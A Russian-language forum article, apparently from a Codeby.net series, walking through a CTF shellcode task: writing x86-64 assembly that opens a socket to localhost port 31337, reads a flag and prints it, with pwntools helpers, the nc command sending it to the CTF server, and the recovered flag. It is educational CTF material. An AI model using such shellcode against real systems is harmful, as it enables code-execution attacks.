• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья [0x03] Изучаем таски по написанию шелл-кодов: local

🖐 Приветствую всех читателей Codeby.net 🖐

Это третья часть цикла статей "Изучаем таски по написанию шелл-кодов". Сегодня мы изучим, как создать сокет и подключиться к нему. А ещё узнаем о том, как важно внимательно читать.
Прошлая часть -> [0x02] Изучаем таски по написанию шелл-кодов: ls_cat


1615469631305.png



Описание таска local

1615463692686.png


Наша задача подключиться к localhost с портом 31337.

Изучим программу local.elf

При декомпиляции в IDA PRO опять ошибка.

1615463766304.png


Seccomp-tools спешит на помощь: seccomp-tools dump ./local.elf

1615463841335.png


Появились новые разрешённые системные вызовы socket и connect.

Системный вызов socket
int socket(int domain, int type, int protocol);

socket() создаёт конечную точку соединения и возвращает файловый дескриптор, указывающий на эту точку.
Параметр domain задает домен соединения: выбирает семейство протоколов, которое будет использоваться для создания соединения. Семейства описаны в <sys/socket.h>.
В случае успешного выполнения возвращается дескриптор, ссылающийся на сокет. В случае ошибки возвращается -1, а значение errno устанавливается соответствующим образом.


Системный вызов connect
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Системный вызов connect() устанавливает соединение с сокетом, заданным файловый дескриптором sockfd, ссылающимся на адрес addr. Аргумент addrlen определяет размер addr.
Если соединение или привязка прошла успешно, возвращается ноль. При ошибке возвращается -1, а errno устанавливается должным образом.



Напишем шелл-код



Номера системных вызовов должны быть в регистре rax. Аргументы передаются в порядке rdi, rsi, rdx, r10, r8, r9.

int socket(int domain, int type, int protocol);
Для работы с системным вызовом socket, нам нужно передать такие константы: AF_INET ( domain ) и SOCK_STREAM ( type ). В protocol задаётся определённый протокол, используемый с сокетом. Обычно, только единственный протокол существует для поддержи определённого типа сокета с заданным семейством протоколов, в этом случае в protocol можно указать 0.

Константы


НазваниеНазначениеСправочная страница
AF_UNIX, AF_LOCALЛокальное соединение (7)
AF_INETПротоколы Интернет IPv4 (7)
AF_INET6Протоколы Интернет IPv6 (7)
AF_IPXПротоколы Novell IPX
AF_NETLINKУстройство для взаимодействия с ядром (7)
AF_X25Протокол ITU-T X.25/ISO-8208 (7)
AF_AX25Протокол любительского радио AX.25
AF_ATMPVCДоступ к низкоуровневым PVC в ATM
AF_APPLETALKAppleTalk (7)
AF_PACKETНизкоуровневый пакетный интерфейс (7)
AF_ALGИнтерфейс к ядерному крипто-API

SOCK_STREAM - Обеспечивает создание двусторонних, надёжных потоков байтов на основе установления соединения. Может также поддерживаться механизм внепоточных данных.

Перед написанием кода, мы установим фреймворк pwntools для языка программирования Python.


Установка
Bash:
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools


Чтобы определить системные константы (AF_INET и SOCK_STREAM), мы используем constgrep.

Bash:
constgrep AF_INET

# Вывод
#define AF_INET  2
#define AF_INET6 10

constgrep SOCK_STREAM

# Вывод
#define SOCK_STREAM 1


int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
Теперь решим вопрос с системным вызовом connect. Вторым аргументом он принимает структуру sockaddr. Время научиться передавать структуры в шелл-код. Описание структуры sockaddr было взято с сайта Google нам в помощь.

Код на Python:
Python:
from pwn import * # Импортируем все функции из библиотеки pwn (pwntools)

'''
struct sockaddr_in {
    u_short     sin_family;
    u_short     sin_port;
    struct      in_addr sin_addr;
    char        sin_zero[8];
};
'''

struct = p16(2) # Упаковываем (pack - p) число 2 в переменную struct
struct += p16(31337, endianness='big') # Упаковываем (pack - p) порт 31337 в переменную struct в порядке big endian
struct += p8(127) + p8(0) + p8(0) + p8(1) # Упаковываем адрес 127.0.0.1 в переменную struct

print(len(struct)) # Печатаем длину переменной struct
print(u64(struct)) # Распаковываем переменную struct в виде числа для регистра в архитектуры x64
print(hex(u64(struct))) # Печатаем переменную struct в виде числа в 16ой системе счисления (hex)

Вывод:
Bash:
8 # длина
72058141268377602 # нужное значение в десятичной системе счисления. Это значение нам нужно.
0x100007f697a0002 # нужное значение в шестнадцатеричной системе счисления

p обозначает упаковать ( pack ). Обычно упаковывают набор ascii символов в строки.
u обозначает распаковать ( unpcack ). Обычно распаковывают строки в набор ascii символов.
Цифры ( 8, 16, 32, 64 ) обозначают необходимое количество бит для функции.

В одном ascii символе 8 бит. Если вам нужно распаковать одну букву, то используйте u8(). Для 2 букв нужна функция u16(), для 4 - u32(), а для 8 - u64().

1 байт = 8 бит
2 байта = 16 битам
4 байта = 32 бита
8 байт = 64 битам

Изучим работу функций pack и unpack
Python:
from pwn import * # Импортируем все функции из библиотеки pwn (pwntools)

print(u8('A'))
# 65
print(u16('AA'))
# 16705
print(u32('AAAA'))
# 1094795585
print(u64('AAAAAAAA'))
# 4702111234474983745
print(p8(0x41))
# b'A'
print(p16(0x4141))
# b'AA'
print(p32(0x41414141))
# b'AAAA'
print(p64(0x4141414141414141))
# b'AAAAAAAA'

Пишем полный шелл-код для таска:
C-подобный:
BITS 64 ; Указываем компилятору nasm, что пишем код для архитектуры x64

; int socket(int domain, int type, int protocol);
;           arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)


push 0x29 ; Кладём на стек номер системного вызова socket
pop rax ;  Забираем из стека номер системного вызова socket в регистр rax
push 0x2 ; Кладём на стек номер константы AF_INET (2)
pop rdi ; Забираем со стека номер константы AF_INET (2)
push 0x1 ; Кладём на стек номер константы SOCK_STREAM (1)
pop rsi ; Забираем со стека номер константы SOCK_STRAM (1)
xor edx, edx ; Обнуляем регистр rdx
syscall ; Системный вызов socket

; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;                   arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

mov rdi, rax ; Перемещаем в rdi файловый дескриптор точки соединения, после создания сокета с помощью системного вызова open
mov rsi, 72058141268377602 ; Перемещаем структуру, сгенерированную в python, в регистр rsi
push rsi ; Кладём на стек структуру, сгенерированную в python
mov rsi, rsp; Перемещаем адрес структуры из стека в регистр rsi

push 0x10 ; Кладём на стек размер структуры для системного вызова connect
pop rdx ; Забираем со стека размер структуры для системного вызова connect в регистр rdx

push 0x2a ; Кладём номер системного вызова connect на вершину стека
pop rax ; Забираем с вершины стека номер системного вызова connect
syscall ; Системный вызов connect

; ssize_t read(int fd, void *buf, size_t count);
;           arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

xor eax, eax ; Обнуляем регистр rax. Это будет номер системного вызова read.
push 0x60 ; Кладём на стек размер выделенного нами места под флаг
pop rdx ; Забираем из стека размер выделенного нами места в регистр rdx
syscall ; Системный вызов read

; ssize_t write(int fd, const void *buf, size_t count);
;              arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

push 1 ; Номер системного вызова write
pop rax; Забираем из стека номер системного вызова write в регистр rax
push 1 ; Файловый дескриптор stdout.
pop rdi ; Забираем из стека номер файлового дескриптора stdout в регистр rax
syscall ; Системный вызов write

Сохраняем код в shell_local.asm
Компилируем в бинарный файл: nasm shell_local.asm -o shell_local
Испытываем программу на сервере: cat shell_local | nc 109.233.56.90 11666
Вывод: Shellcode: spbctf{c0c2600bbd44ad76843c3624b375710b}VH��jZj*X1�j`ZjXj_
Флаг - spbctf{c0c2600bbd44ad76843c3624b375710b}


Проверка флага

1615467655984.png



Будьте внимательны!

Если в шелл-коде вместо инструкций передающие указатель на структуру написать инструкции передающие саму структуру, то он работать не будет.
В системном вызове connect ( int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); ) второй аргумент должен быть указатель ( const struct sockaddr *addr ) на адрес структуры, а не сама структура.

C-подобный:
; Было
; mov rdi, rax ; Перемещаем в rdi файловый дескриптор точки соединения, после создания сокета с помощью системного вызова open
; mov rsi, 72058141268377602 ; Перемещаем структуру, сгенерированную в python, в регистр rsi
; push rsi ; Кладём на стек структуру, сгенерированную в python
; mov rsi, rsp; Перемещаем адрес структуры из стека в регистр rsi

; Стало
mov rdi, rax ; Перемещаем в rdi файловый дескриптор точки соединения, после создания сокета с помощью системного вызова open
mov rsi, 72058141268377602 ;

В регистре rsi лежит структура ( шелл-код не будет работать )

1615465548704.png



В регистре rsi лежит указатель на структуру ( шелл-код будет работать )

1615465631349.png


Внимательно изучайте man-страницы или документации!

Спасибо за внимание :)
 
Последнее редактирование:

Cronix

Green Team
18.02.2021
20
39
BIT
0
Мёген, с каждой новой статьёй всё более интересно 👍
Любая узконаправленная тема всегда найдёт своего читателя.
 
  • Нравится
Реакции: Mogen
09.11.2017
258
261
BIT
5
Дайте мне Вини пуха два штука его напою медовухой по говорим отом осём))статья бомба)
 
  • Нравится
Реакции: Mogen
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!